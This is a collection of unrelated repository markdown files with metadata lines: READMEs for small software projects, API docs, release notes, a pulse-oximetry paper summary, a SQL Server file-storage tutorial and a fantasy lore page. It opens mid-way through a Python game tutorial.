    # prepare to launch another
    callback(launch, rand(0.2, 1))

# hitting 'b' starts launching balls!
keydown('b', launch)

# add this so we can keep score of the game
score(color=WHITE)

# press the r key to reset
keydown('r', reset)
```

Save this code as `game.py` and let's give it a run!

```
pred game.py
```

If it loads correctly, the following game canvas should display. Have fun!!

![alt text](http://predicate.us/predigame/images/sprites_grid6.png "Predigame Thirsty Zombie")

repository: predigame/thirsty

repo_name: predigame/thirsty


text:
# Swoole Process Manager

## Methods

### swoole_process::setaffinity

#### Prototype

```php
bool swoole_process->setaffinity(array $cpu_set);
```

#### Illustration

Set the CPU affinity of the process.

#### Parameter

- `$cpu_set` the array of cpu number. Use `SWOOLE_CPU_NUM` to get the number of cpu. for example: array(0,2,3) stands for CPU0/CPU2/CPU3

#### Return

`true` : success, `false` : fail

repository: doubaokun/swoole-docs

repo_name: doubaokun/swoole-docs


text:
#### Integrations

##### Box Event Collector

- Added the *Server URL* parameter to the integration configuration.
- Updated the Docker image to: *demisto/pydantic-jwt3:<IP_ADDRESS>513*.

##### Box v2

- Added the *Server URL* parameter to the integration configuration.
- Updated the Docker image to: *demisto/pyjwt3:<IP_ADDRESS>491*.

repository: demisto/content

gha_language: Python

repo_name: demisto/content


text:
# polyscope-rs: Rust bindings for polyscope

![Teaser](https://github.com/j20232/polyscope-rs/blob/main/assets/teaser/dynamic.gif)

## About

Rust wrapper of [polyscope](https://github.com/nmwsharp/polyscope)

(under development)

- Currently, you can run `polyscope-rs` **only on Windows**
- **Not supported for Linux/OS X**
  - I don't have PCs.... :)

## Features

- [x] Basic functions
  - [x] `init()`, `show()`
  - [x] Function to register user-defined callbacks
  - [ ] Functions to generate [imgui](https://github.com/ocornut/imgui) components
- [ ] Visualization
  - [x] point clouds
  - [ ] surface meshes
  - [ ] curve networks
  - [ ] volume meshes
- [ ] Support for linear algebra libraries
  - [x] [nalgebra](https://github.com/dimforge/nalgebra): Only supported for `DMatrix`
  - [ ] [ndarray](https://github.com/rust-ndarray/ndarray)

## Installation

```sh
git clone https://github.com/j20232/polyscope-rs --recursive
cargo run --example 01_visualize_obj
```

or

```sh
cargo install polyscope
```

## Contribute

Pull requests are welcome

## Special thanks

- All contributors of the original [polyscope](https://github.com/nmwsharp/polyscope/graphs/contributors)

## License

MIT

branch_name: refs/heads/main


text:
GitBackup
=========

GitBackup is a simple app for backing up all your git repositories.
All you need is access to the repositories (by deploykey or priv user key for example) and a configuration file in yaml format.

---

How to compile
==============
This project is build with maven. Please install maven first, before you run the package command from within the cloned sources
```
mvn package
```

*the jar file are located in the target folder*

---

How to use
==========
There are two jar files in the target folder. If you dont want to check the dependencies, use the -with-dependencies.jat file

The only parameter that is required is the configuration yaml file

```
java -jar /path/to/jarfile/gitbackup-1.0-SNAPSHOT-jar-with-dependencies.jar /path/to/config.yml
```

(you can move the jar file and rename it)

---

Configuration example
=====================
```
### Logging ###

# possible log levels: ALL, INFO, DEBUG, ERROR
logLevel: ALL

# show log output in console. Possible values(true, false)
consoleOutput: true

# creates archives of given types. Possible types: zip, tar, gzip
archives: [zip, tar, gzip]

### Directories

#path where the logfiles go into
logPath: /tmp/gitbackup/logs

# path where your backups will be stored
backupDir: /tmp/gitbackup/backups

#path where the repositories will be cloned into
tmpDir: /tmp/gitbackup/tmp

### Repository configurations

repositories:
    - src: https://github.com/Seldaek/monolog.git
      name: monolog
    - src: https://github.com/da-wen/PhpRedisBundle.git
      name: PhpRedisBundle
```

---

ToDo
====
- time tracking in log and console output
- unit tests

repository: da-wen/GitBackup

repo_name: da-wen/GitBackup


text:
# Contextual Equivalence for a Language with Continuous Random Variables and Recursion

Coq development of theorems and proofs for the paper: "Contextual Equivalence
for a Language with Continuous Random Variables and Recursion" by Mitchell
Wand, Ryan Culpepper, Theophilos Giannakopoulos, and Andrew Cobb (ICFP 2018,
https://doi.org/10.1145/3236782).

Requirements:

- Coq 8.6 (also tested with Coq 8.8)
- [Autosubst](https://github.com/uds-psl/autosubst) (use the `coq86-devel` branch)
- [Coquelicot](http://coquelicot.saclay.inria.fr/)

# Getting Started

On a fresh Ubuntu 18.04 system, the following steps are sufficient to
install Coq and the libraries that our code depends on.

- install coq and coquelicot via opam:
  - `sudo apt install build-essential git opam m4`
  - `opam init --auto-setup`
  - ```eval `opam config env` ```
  - `opam repo add coq-released http://coq.inria.fr/opam/released`
  - `opam install coq.8.8.0 coq-coquelicot.3.0.2`
     - Note: this step might fail on machines with less than 3 GB memory.
     - This also installs `coq-mathcomp-ssreflect.1.7.0`, a dependency
       of Coquelicot.
- check out, build, and install autosubst:
  - `git clone -b coq86-devel https://github.com/uds-psl/autosubst.git`
    - The head commit of branch coq86-devel was d0d7355797.
  - `pushd autosubst`
  - `make`
    - This may print warnings: "fix/cofix without a name are deprecated...".
      These warnings may be ignored.
  - `make install`
  - `popd`
- compile our coq development:
  - `make`

# Overview

We have formalized the development of the small-step semantics, measure
semantics, logical relation, CIU relation, contextual ordering, and entropy
shuffling. For the most part, the proofs directly follow the proofs in the
paper. We have not formalized the big-step semantics or the applications of
the CIU relation to prove specific equivalences.

We use the Autosubst library to manage binders in the syntax and the
Coquelicot library for representing and reasoning about real numbers. In
addition to the axioms provided by the Coquelicot library, we also have
axiomatized the entropy source and basic properties of Lebesgue integration,
such as linearity and monotonicity, Lebesgue's monotone convergence theorem,
and Tonelli's theorem, for integration with respect to the measure on the
entropy source. We have also taken functional extensionality and restricted
forms of the law of the excluded middle as axioms.

# File layout

- `Basics.v`: Non-domain specific tactics and hints for auto.
- `Measures.v`: Axioms about measure theory and lemmas about measure theory and
  real analysis. Also axiomatizes the entropy space (Section 2.2).
- `Syntax.v`: The syntax and static semantics of programs and related
  lemmas (Section 2.1).
- `OpSem.v`: The small-step operational semantics for execution using
  a single entropy (Section 2.3.1).
- `MeasSem.v`: The measure semantics (Section 2.4). We do not
  formalize the measurability of functions, so this does not include
  Lemma 2.13.
- `LogRel.v`: The definition of the logical relation (Section 3).
- `Compatibility.v`: The compatibility lemmas and the fundamental theorem for
  the logical relation (Lemma 3.1 and Theorem 3.2).
- `CIU.v`: The definition of the CIU `CIU` relation and the proof of equivalence
  with the E relation `Erel` (Section 4).
- `CTX.v`: Direct and indirect definitions of contextual ordering, the proof of
  the equivalence of those relations, and the proof of equivalence with `Erel`
  and `CIU` (Section 5).
- `Interpolation.v`: The interpolation and genericity theorems for manipulating
  small-step semantics as if they were big-step semantics (Theorems 2.8 and 2.9).
- `EntropyShuffling.v`: Lemmas about Entropy reshufflings that preserve
  measure (Section 6.2).

# Acknowledgment

This material is based upon work sponsored by the Air Force Research Laboratory
(AFRL) and the Defense Advanced Research Projects Agency (DARPA) under Contract
No. FA8750-14-C-0002. The views expressed are those of the authors and do not
reflect the official policy or position of the Department of Defense or the
U.S. Government.

repository: tgiannak/semantics-recursive-real-ppl

gha_language: Coq

repo_name: tgiannak/semantics-recursive-real-ppl


text:
---
title: "The Anchor"
linkTitle: "The Anchor"
weight: 8
date: 2017-01-04
description: >
 The Anchor
---

{{% pageinfo %}}
The Anchor
{{% /pageinfo %}}
The anchor is currently an overgrown tree mixed in with what looks like ancient technology  It is protected by a sacred order who are xenophobic to outsiders  Methabeht is here holding the past together  The Anchor is an ancient device constructed over a gigantic circular hole which binds the past to the future  It is believed the enormous hole was created during a massive collision with an asteroid or moon  The Anchor was destroyed during the events of the Last War of the Gods  During The Anchors destruction, Methabeht sacrificed himself to keep the chains of the past and present bonded together. An enormous Tree now sits over the site, its roots binding the broken chains of The Anchor\
**Inhabitants**  Solinia - A female and last living descendent of the Dal  The Great Tree - Living remains of Methabeht

url: https://raw.githubusercontent.com/mixxit/solinia-docs/3e35387d1ce8705ae5428a4864f40640f25b8940/content/en/docs/Locations/Garden Of The Gods/The Anchor.md

repository: mixxit/solinia-docs

filename: The Anchor.md

gha_language: CSS

repo_name: mixxit/solinia-docs


text:
---
layout: post
title:  "Yue Wang New Publication"
date:   2017-04-17 12:00:00 -0700
categories: media
blurb: "empty field - not being used any more."
---

Yue Wang has  published a new paper *"The southern coastal Beringian land bridge: cryptic refugium or pseudorefugium for woody plants during the Last Glacial Maximum?"* in [Journal of Biogeography](http://onlinelibrary.wiley.com/doi/10.1111/jbi.13010/full).  This paper presents strong evidence that the southern coastal Bering Land Bridge was not a refugium for woody plants during the last glacial maximum, and that the St. Paul mammoth populations persisted on an open tundra vegetation for thousands of years.

gha_language: HTML


text:
# Groceries

A simple grocery list app using React Native, Redux, Firebase, and Async Storage for offline data. It works on both iOS and Android.

[![Code Climate](https://codeclimate.com/github/bruz/react-native-redux-groceries/badges/gpa.svg)](https://codeclimate.com/github/bruz/react-native-redux-groceries)
[![Dependency Status](https://david-dm.org/bruz/react-native-redux-groceries.svg)](https://david-dm.org/bruz/react-native-redux-groceries)
[![MIT License](https://img.shields.io/github/license/bruz/react-native-redux-groceries.svg)](https://github.com/bruz/react-native-redux-groceries/blob/master/LICENSE)

![demo](demo.gif)

## Install

Built and tested with:

* OSX
* Node 4.2.3 **with npm 3**
* Xcode 7
* Android SDK

A [Firebase](https://www.firebase.com) account is also needed.

Run:

```bash
git clone https://github.com/bruz/react-native-redux-groceries.git
cd groceries
npm install
```

Configure:

```bash
cp config.js.example config.js
```

Edit config.js to have the URL of your Firebase app.

## Develop on iOS

```bash
open ios/Groceries.xcodeproj
```

This will launch Xcode. Just choose a device a press run.

## Develop on Android

* Follow the [React Native Android setup guide](https://facebook.github.io/react-native/docs/android-setup.html).
* Once you have a running emulator, run:

```bash
react-native run-android
```

## Build and install on an iOS device

* Run:

```bash
react-native bundle --dev false --entry-file index.ios.js --platform ios --minify --bundle-output ios/main.jsbundle
```

* In AppDelegate.m, comment out:

```bash
jsCodeLocation = [NSURL URLWithString:@"http://localhost:8081/index.ios.bundle"];
```

* Then uncomment this in AppDelegate.m:

```bash
//jsCodeLocation = [[NSBundle mainBundle] URLForResource:@"main" withExtension:@"jsbundle"];
```

* In the Xcode menu, go to Product -> Scheme -> Edit Scheme..., and under Run change the Build Configuration to Release.
* Choose your device in Xcode and run it on there.

To get back to development mode, just undo these changes.

## Build and install on an Android device

It hasn't been testing with this app, but the [React Native APK signing instructions](https://facebook.github.io/react-native/docs/signed-apk-android.html) may work.

## Credits

Grocery bag icon by [Claire Jones from the Noun Project](https://thenounproject.com/hivernoir)


text:
# employeeManagment

## Description

This application is designed to help you list and manage your team roster

## Instillation

To install the application fork the repo and install on your local machine. Then you will need to install inquirer. In order to do this open your terminal and run npm install -y. After the installation  you are ready to use.

## Usage

In your terminal navigate to the proper workplace. Run node on the app.js file and answer the prompts. An HTML file will be generated for you. See the video below for clarity.

## Credits

The application uses both fs and inquirer.

## License
Copyright (c). All rights reserved.

Licensed under the MIT (https://github.com/bcshanken/Portfolio/blob/master/Assets/License/license.txt) license.

repository: bcshanken/employeeManagment

repo_name: bcshanken/employeeManagment


text:
angry-caching-proxy
===================

_IMPORTANT NOTE:_ At the moment, you cannot connect to this container from another container on the same Docker host. Am working on a solution.

An angry-caching-proxy container for octohost.

`docker pull octohost/angry-caching-proxy`

Run it like this:

`docker run -d -p 8080:8080 octohost/angry-caching-proxy`

Then point your build scripts at it:

apt-get
--------

`http_proxy=http://ip.address.here:8080 sudo -E apt-get install sl`

Bundler (Rubygems)
--------

`http_proxy=http://ip.address.here:8080 bundle install`

npm
--------

With npm it is required to use the non-https version of the registry

`http_proxy=http://ip.address.here:8080 npm install --registry http://registry.npmjs.org/`

repository: octohost/angry-caching-proxy

repo_name: octohost/angry-caching-proxy


text:
---
description: ''
sidebar: 'shopify'
prev: '/shopify/conversion-steps/'
---

# Glossary

Here you can find a list of some of the most used terms, that you may be not familiar with

* **Handle**: Handle is the user friendly and URL valid name of anything in Shopify. Inside handle you can not use spaces, accented characters, special characters or uppercase characters. E.g (My Product Name > my-product-name)

* **Template page**: If you have a Shopify online store, then you can create webpages in your Shopify admin. Webpages contain information that rarely changes or that customers will reference often, like an "About Us" page or a "Contact Us" page. For each page you create in Shopify, you can choose the template.

* **Default page**: It's the default template for each page you create in Shopify, if not specified otherwise.

* **Collections**: You can group your products into collections to make it easier for customers to find them.

repository: luxuryluke/udesly-docs-gridsome

repo_name: luxuryluke/udesly-docs-gridsome


text:
# react-native-swipeable-view-stack [![NPM version](https://badge.fury.io/js/react-native-swipeable-view-stack.svg)](https://npmjs.org/package/react-native-swipeable-view-stack) [![Downloads](https://img.shields.io/npm/dt/react-native-swipeable-view-stack.svg)](https://img.shields.io/npm/dt/react-native-swipeable-view-stack.svg) [![Build Status](https://travis-ci.org/Rajat%20Soni/react-native-swipeable-view-stack.svg?branch=master)](https://travis-ci.org/Rajat%20Soni/react-native-swipeable-view-stack)

> This is an interactive swipeable view stack npm package. Users can pan left or right on the frontmost view to naviagte to the next view. Data set is looped by defaut.

## Swipeable View Stack for React Native
![Alt text](https://cdn-images-1.medium.com/max/1600/1*fZMcXULoOCSGl8qBrHoILw.gif "Swipeable View Stack")

## Installation

```sh
$ npm install --save react-native-swipeable-view-stack
```

## Import and Basic Usage
__Import__
```js
var ReactNativeSwipeableViewStack = require('react-native-swipeable-view-stack');
reactNativeSwipeableViewStack();
```
__Basic Usage__
```jsx
<ReactNativeSwipeableViewStack
  onSwipe={ ( swipedIndex ) => this.onCardSwipe( swipedIndex ) }
  initialSelectedIndex={ 1 }
  data={ this.dataArray }
  renderItem={ ( element ) => this.renderViewItem( element ) }
  onItemClicked={ ( element ) => this.onClick( element ) }
  stackSpacing={ 20 }
/>
```

## Props
* __onSwipe( swipedIndex: number )__: (Optional) Gets called when navigation is about to take place.

* __initialSelectedIndex: number__: (Optional) Element at index to be shown at the top of the stack initially.

* __stackSpacing: number__: (Optional) Top spacing between stacked views.

* __data: Array__: Array of Elements that'll be represented by this component.

* __onItemClicked( element: ~Clicked Element ): Function__: Function to be executed when the frontmost card is clicked.

* __renderItem( element: ~Array Element): Function__: Inputs a function that returns view items of stack.

## Important Note
\*\*\* You have to specify the __width__ & __height__ of __renderItem__ view, otherwise you might see unusual behaviour.

## License

ISC © [Rajat Soni](https://www.npmjs.com/~rajatsoni)

license: ISC

gha_language: JavaScript


text:
---
layout: single
classes: wide
author_profile: true
title: "[Paper Summary] A review of the effect of skin pigmentation on pulse oximeter accuracy"
show_date: true
comments: true
---

<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      processEscapes: true
    }
  });
</script>

<script type="text/javascript"
        src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>

[Paper Link, DOI: 10.1088/1361-6579/acd51a](https://iopscience.iop.org/article/10.1088/1361-6579/acd51a/meta)

Summary: Review presents an introduction to the technique of pulse oximetry including its basic principle of operation, technology, and limitations, with a focus on skin pigmentation.

Importance: PulseOxs have been known for a while now to perform worse on people with darker skin. Understanding why this is the case is important for fairness. This is manifested in the assumptions we make in the derivation.

<h2> SpO2 derivation </h2>

<h4> Modified Beer Lambert </h4>

Light absorption through skin can be modeled using the modified beer-lambert law.

$$I_t = I_0 e^{-G-\epsilon C l}$$

$$G$$: light loss due to scattering

$$d$$ or $$l$$: pathlength or optical path length (actual distance traveled by light), which is longer than the path length due to scattering

$$I_t$$: intensity of transmitted light

$$I_0$$: intensity of incident light

$$\epsilon$$: molar extinction concentration of tissue layers and chromophores such as hemoglobin, melanin, water, etc.

$$C$$: concentrations of tissue layers and chromophores

<h4> Find change in concentration:</h4>

$$\frac{I_{max} - I_{min}}{I_{max}} = \epsilon \Delta C l$$

$$I_{max}$$: maximum absorption in PPG

$$I_{min}$$: minimum absorption in PPG

$$\Delta C$$: maximal change in hemoglobin in cardiac cycle

$$ln(\frac{I_t}{I_0}) = -G-\epsilon C l$$

$$ln(\frac{I_{max}}{I_0}) - ln(\frac{I_{min}}{I_0}) = -G_{max} - \epsilon C_{max} l + G_{min} + \epsilon C_{min} l$$

$$ln(\frac{I_{max}}{l_{min}}) = -\Delta G - \epsilon \Delta C l$$

$$R = \frac{ln(I_{max}/I_{min})_{660}}{ln(I_{max}/I_{min})_{940}} = \frac{[-\Delta G - \epsilon \Delta C l]_{660}}{[-\Delta G - \epsilon \Delta C l]_{940}}$$

<h4> Assume $\Delta G = 0$ over cardiac cycle </h4>

$$R = \frac{[\epsilon \Delta C l]_{660}}{[\epsilon \Delta C l]_{940}}$$

<h4> Assume $\Delta C$ is the same for 660 and 940 </h4>

$$R = \frac{[\epsilon l]_{660}}{[\epsilon l]_{940}}$$

<h4> Use $\epsilon = \epsilon_O SaO_2 + \epsilon_D(1-SaO_2)$ </h4>

$$\epsilon_O$$: extinction coefficients for oxygenated

$$\epsilon_D$$: deoxygenated blood

$$SpO_2 = \frac{(\epsilon_{D,660}-R(l_{940}/l_{660}) \epsilon_{D,940})}{(R(l_{940}/l_{660})(\epsilon_{O,940} - \epsilon_{D,940}) + (\epsilon_{D,660} - \epsilon_{O,660}))}$$

<h2> Major Assumptions and Compromises </h2>

<h4> Cardiac cycle assumptions: </h4>
1. Constant $$G$$
2. Constant $$I$$
3. Constant $$\epsilon$$
4. Contact $$C$$

<h4> Generalization assumptions: </h4>
1. $$\Delta C$$ approximately equal at two wavelengths
2. $$\frac{l_{940}}{l_{660}}$$ remains constant across individuals

Type of scattering (Rayleigh or Mie) is determined by the size of scatterer relative to the selected wavelength - found to be larger for individuals with darker skin. Photons tend to travel in a more forward direction (Mie scattering) in individuals with dark skin.

<h4> Compromises: </h4>
1. Ground truth measures functional hemoglobin (includes carboxyhemoglobin (COHb) and methaemoglobin (MetHb). Can be influenced by high concentrations or partial pressures of carbon monoxide and/or other gases and chemical compounds. In visible spectrum, COHb has similar absorption profile to oxyhemoglobin - cannot distinguish. But effect size is small.
2. Poor blood perfusion: pulse ox relies on optical measurements of arterial pulsations within tissue bed. But pulsations only make up 2-5% of total optical absorption profile and is dependent on adequate blood flow to measurement area.
3. Absorption corrupted by nail polish or artificial fingernails.
4. Ambient light
5. Intradermal dyes to identify anatomical structure (i.e. contrast imaging)
6. Traditional calibration method is limited in range due to ethics


text:
# Morpheus GET

This module performs all of the get functions for the PowerShell module. Some of the functions can take pipeline input from others. See teh Pipeline Workbook spreadsheet.

Here is a sample of the code and how to get working with it quickly.
The function code is built to be as reusable as possible.
Under the BEGIN section, the first set of Variables are for calling to the formatting xml. These variables are also tied directly to the API calls.
There are three sections
 - Zone
 - Subzone
 - Construct

### Zone

Zone is the primary zone of the construct which you are trying to call.
In the example we have here zone is "Provisioning". This identifies the primary category of the construct.

### SubZone

The subzone is the secondary or subcategory of the construct. This is used when an API call needs to go a layer deeper. An example of this is instance types. The API endpoint for instance types is /api/library/instance-types. The subzone in that case would be "Library". Our example does not have a subzone so can be left blank.

### Construct

This is the construct that you wish to deal with as designated by the API endpoint. Some constructs hold the naming convention, but others do not due to advancements in naming conventions.
An example of this would be workflows. In the UI, you look for workflows and the CMDLET is called Get-MDWorkflow as that is what the user would expect. However, the API endpoint name is actually task-sets. So for workflows, the construct would actually be task-sets.
In our example below, the construct is tasks as that is the construct AND API endpoint name.

Under most circumstances these should be the only edits you need to make to the code. So you can copy paste this to create a get function and update that vars and be good to go.

To get the cleaner formatted output, you will want to ensure that there is a module for the construct in Morpheus.Get.Format.ps1xml. These modules are also based off of the Zone, SubZone, Construct idea. So you just need to be sure there is a module that aligns with this.

EXAMPLE:

For our example below there is a module called Morpheus.Provisioning.Tasks which handles the columns and formatting

For instance types there is module called Morpheus.Provisioning.Library.Instance-Types

You can set up the formatting as desired for each of these constructs to return the most pertinent data for it

```
Function Get-MDTask {
    <#
    .Synopsis
       Get all tasks from Morpheus appliance
    .DESCRIPTION
       Gets all or one task based on the switch selection of Name, ID.
    #>
    [cmdletbinding()]
    Param (
        # Name of the object
        [Parameter(Position=0)]
        [string]
        $Name,
        [Parameter()]
        [string]
        $ID,
        # Input Object from the pipeline
        [Parameter(ValueFromPipeline=$true)]
        [System.Object]
        $InputObject
        )

    BEGIN {

        # Set HTML config module
        $zone = "Provisioning"
        $subZone = ""
        $construct = "Tasks"

        # Initialize var and return
        $var = @()
        $return = @()
        $command = ("Get-MD$($construct)") -replace ".$"

        Write-Verbose "START: $($command)"
        Write-Verbose "Zone: $($zone)"
        Write-Verbose "Sub-Zone: $($subZone)"
        Write-Verbose "Construct: $($construct)"

        # Setting Pipeline Data
        Write-Verbose "Getting PSCallStack"
        $PipelineConstruct = (Get-PSCallStack).InvocationInfo[1].MyCommand.Definition
        Write-Verbose "Pipeline Construct is: $($pipelineconstruct)"
        Write-Verbose "Calling Get-PipelineConstruct cmdlet to set pipelineconstruct"
        $PipelineConstruct = Get-PipelineConstruct $PipelineConstruct.ToLower()
        Write-Verbose "Pipeline Construct is: $($pipelineconstruct)"
        if ($PipelineConstruct -eq "workflows"){
            $PipelineConstruct = "taskSets"
        }
    }

    PROCESS {

        Try {
            $API = "/api/$($construct.ToLower())/"
            $var = @()

            #API lookup
            Write-Progress -Activity "Collecting" -Status 'In Progress...'
            $var = Invoke-WebRequest -Method GET -Uri ($URL + $API + "?max=10000") -Headers $Header  -ErrorVariable err | ConvertFrom-Json
            $returnConstruct = $var | Get-Member -MemberType NoteProperty | Where-Object {$_.Definition -like "Object*"}
            Write-Verbose "var pre flag check:"
            Write-Verbose $var

            #User flag lookup
            Write-Verbose "Attempting flag check with the following options"
            Write-Verbose "Input Object: $($InputObject)"
            Write-Verbose "Construct: $($construct)"
            Write-Verbose "Pipeline Construct: $($PipelineConstruct)"
            $var = Compare-Flags -var $var -Name $Name -InputObject $InputObject -Construct $returnConstruct.Name -PipelineConstruct $PipelineConstruct
            #Give this object a unique typename
            if ($subzone -eq ""){
                Foreach ($Object in $var) {
                    $Object.PSObject.TypeNames.Insert(0,"Morpheus.$($zone).$($construct)")
                    $return += $Object
                    }
                }else{
                    Foreach ($Object in $var) {
                        $Object.PSObject.TypeNames.Insert(0,"Morpheus.$($zone).$($subZone).$($construct)")
                        $return += $Object
                        }
                }

            return $return
            }
        Catch {
            Write-Host "Failed to retreive any $($construct)." -ForegroundColor Red
            Write-Host $err
            }
        }
    END {
        Write-Verbose "END: $($command)"
    }
}
```


text:
## Female & Male Population Densities Dataset Pre-processing
This file describes the data pre-processing that was done to [the Gridded Population of the World (GPW), v4: Basic Demographic Characteristics, v4.10 (2010)](https://sedac.ciesin.columbia.edu/data/set/gpw-v4-basic-demographic-characteristics-rev11) for [display on Resource Watch](https://resourcewatch.org/data/explore/soc075-Broad-Age-Groups).

The original data contains two layers, male population density and female population density in people per square kilometer.

To create the layer "Number of females per 100 males", we divide the female population density by the male population density and then multiply by 100.

This calculation was done using Google Earth Engine, a free geospatial analysis system by Google. While the sytem is free you need to sign up with a Google account, which can be done [here](https://earthengine.google.com/).

The code used to preprocess this layer in Google Earth Engine can be found [here](https://code.earthengine.google.com/69705398b91fdcbdad2298f08ada5da4) and is copied below.
```
var female = ee.Image('projects/resource-watch-gee/soc_075_female_male_populations/female_density')
var male = ee.Image('projects/resource-watch-gee/soc_075_female_male_populations/male_density')

var scale = female.projection().nominalScale().getInfo()

var m_f_ratio = male.divide(female).multiply(100)

Export.image.toAsset({
  image: m_f_ratio,
  description: 'Male_Female_Ratio',
  assetId: 'projects/resource-watch-gee/soc_075_female_male_populations/male_female_ratio_density',
  scale: scale,
  maxPixels:1e13})
```

You can view the processed Female & Male Population Densities dataset [on Resource Watch](https://resourcewatch.org/data/explore/soc075-Broad-Age-Groups).

You can also download original dataset [from the source website](https://sedac.ciesin.columbia.edu/data/set/gpw-v4-basic-demographic-characteristics-rev11/data-download).

###### Note: This dataset processing was done by [Kristine Lister](https://www.wri.org/profile/kristine-lister), and QC'd by [Amelia Snyder](https://www.wri.org/profile/amelia-snyder).

repository: resource-watch/data-pre-processing

repo_name: resource-watch/data-pre-processing


text:
---
layout: page
title: "Sun"
permalink: "/misc/sun/"
---

One of my many interests is in Sun hardware / software.  I own two
old SparcStation 2's which I used to host this website for about 6
months and achieved a 100-day uptime.  It is a great
machine for being 12 years old.  I plan to put what information I
can share about my experience with Sun stuff on this page when I can.
I had some experience with 4 Sun 280R servers at SAU.
3 were dual-processor machines.  All of them were running 750Mhz or
800Mhz UltraSparc III processors with 8MB cache each.
They were sweet!

I also ran this website from a SparcStation 5 until it finally gave up
the ghost.  I have retired my SS2
for now and plan to keep it stored as my first full-time webserver!  I
was very pleased with my SS5 and it certainly did a better job of
handling the load than my SS2.

Here are some Sun links:

 * [Sun](http://www.sun.com)
 * [Help for Sun stuff](http://www.sunhelp.org)
 * [Free Binary packages for Solaris](http://www.sunfreeware.com)


text:
# QDD_Net: Duplicate Question Detector

## Introduction
We propose the **QDD_Net**, which is used for duplicate question detection.
Our model achieves a good performance in [PPDAI Magic Mirror Data Application Contest](https://ai.ppdai.com/mirror/goToMirrorDetail?mirrorId=1&tabindex=2).

## Data
Data should be pairs of questions labeled with 0 and 1 represents similar or not.
Word & Character embedding should be provided respectively for representing the question sequences.

## Model
We proposed three models including a RNN based model, CNN based model and a RCNN based model. These models have the following characteristics:

1. Bi-Directional GRU in RNN based models for semantic learning.
2. 1-D Convolution in CNN and RCNN based models for local feature extraction.
3. Co-Attention was used to learn the semantic correlations between two sequences.
4. Self-Attention was used to enhance the feature representation.
5. Word embedding and Character Embedding were used simultaneously.

## Architecture:

![test](res/arch_img.jpg)

## Performance:
The ensemble model achieved 0.203930 for similarity loss in PPDAI contest, at the top 15% in ranking.

## Reference
[QANet: Combining Local Convolution with Global Self-Attention for Reading Comprehension[ICLR 2018]](https://arxiv.org/abs/1804.09541)

[Zhouhan Lin et al. “A Structured Self-attentive Sentence Embedding”. In:CoRRabs/1703.03130 (2017).arXiv:1703.03130.](http://arxiv.org/abs/1703.03130.)

[ Pranav Rajpurkar et al. “SQuAD: 100, 000+ Questions for Machine Comprehension of Text”. In:CoRRabs/1606.05250 (2016). arXiv:1606.05250.](http://arxiv.org/abs/1606.05250.)

[Wenhui Wang et al. “Gated Self-Matching Networks for Reading Comprehension and Question Answering”](http://www.aclweb.org/anthology/P17-1018)


text:
---
layout: post
title: Inserting Images and Files Into SQL Server
image: ../img/avatar-icon.png
tags: [SQL, SQL Server, BLOBS, Images]
---

I'm going to write a few posts examining practices for storing files in SQL Server. This issue first appeared on my radar, when I encountered a 700GB database; 90% of that space was taken up by images and PDF's. The size of the database made running CheckDB and backups a bit of a pain, and I wondered if there were any alternatives to storing these images and PDF's directly in the database.

It turns out there are alternatives, but before we get to that, let's start with a couple basic technical questions. How do you store a file in SQL Server, and then how do you retrieve a file from SQL Server?

### Storing files in SQL Server: The Data Types

We will start by getting one data type out of the way: there is a SQL Server datatype called "Image" that can be used to store any sort of file up to 2GB. It's still available in new editions of SQL Server, but its use is discouraged. In fact, on the [documentation page](https://docs.microsoft.com/en-us/sql/t-sql/data-types/ntext-text-and-image-transact-sql) for Image, Microsoft has the following warning:

> IMPORTANT! ntext, text, and image data types will be removed in a future version of SQL Server. Avoid using these data types in new development work, and plan to modify applications that currently use them. Use [nvarchar(max)](https://docs.microsoft.com/en-us/sql/t-sql/data-types/nchar-and-nvarchar-transact-sql), [varchar(max)](https://docs.microsoft.com/en-us/sql/t-sql/data-types/char-and-varchar-transact-sql), and [varbinary(max)](https://docs.microsoft.com/en-us/sql/t-sql/data-types/binary-and-varbinary-transact-sql) instead.

So let's use the Varbinary(max) data type. If we knew that we were storing files less than 8,000 bytes, we could instead use Binary or Varbinary(n) [where n < 8,000], but we don't need to worry about that today. As its name suggests, Varbinary(max), is of variable size (like varchar), and it holds binary data. The maximum size it can go up to is 2 GB, just like the deprecated Image data type.

### How to Shove a File into a Database

The syntax for inserting a file into a SQL Server database doesn't exactly mirror the syntax for inserting numbers or text. Let's first set up a test database and a test table.

```sql
CREATE DATABASE chockerBoxoFiles;

USE chockerBoxoFiles;

CREATE TABLE theFiles
(
id INT IDENTITY(1,1) PRIMARY KEY,
fileName VARCHAR(200),
actualFile VARBINARY(MAX)
);
```
It's handy to have the file name stored along with the inserted file to refer back to, since the file is going look like a long string of junk. Here's the syntax for inserting:

```sql
INSERT INTO
    theFiles(fileName,
      actualFile)
SELECT 'C:\Users\Andrew\Desktop\avatar-icon.png',
   BulkColumn FROM OPENROWSET(
      BULK 'C:\Users\Andrew\Desktop\avatar-icon.png',
      SINGLE_BLOB) AS myfile;
```

The unusual feature is selecting from OPENROWSET. In the simplest terms, OPENROWSET is used to access data that lives outside of your SQL Server instance (like on your computer), using OLEDB. [There's some good examples of the abilities of OPENROWSET on this page](https://sql-programmers.com/tsql-openrowset-in-sql-server). Assuming that your SQL Server has access to the file location that you specify, you'll get one row inserted successfully. I inserted this avatar picture that came with [Beautiful Jekyll](https://github.com/daattali/beautiful-jekyll) theme I use for this site:

![squid cat thing](../img/avatar-icon.png)

If you select from our table, you'll see something like this:

| id | fileName | actualFile |
| 1 |  C:\Users\Andrew\Desktop\avatar-icon.png | 0x89504E470D0A1A...|

If you copy and paste the content from the actual file into notepad, you can see that it's a ton of data. A picture is worth thousands of characters!

That's it for now. Next time we'll consider the less straightforward task of loading a file from a database.


text:
# Spring-Boot-How-to-use-Conditional-in-your-own-codes

[![Build Status](https://travis-ci.org/Turreta/Spring-Boot-How-to-use-Conditional-in-your-own-codes.svg?branch=master)](https://travis-ci.org/Turreta/Spring-Boot-How-to-use-Conditional-in-your-own-codes)

Spring Boot - How to use @Conditional in your own codes

Please read the related blog post:
https://turreta.com/2017/01/26/spring-boot-how-to-use-conditional-in-your-own-codes/


text:
jqMVC example
=====

This is a basic todo list, that also has an archived section.

The webservices folder has a php script and sqlite db for a test.

View models/todo.js to see the remote adapter that uses the above webservices.

About
=====

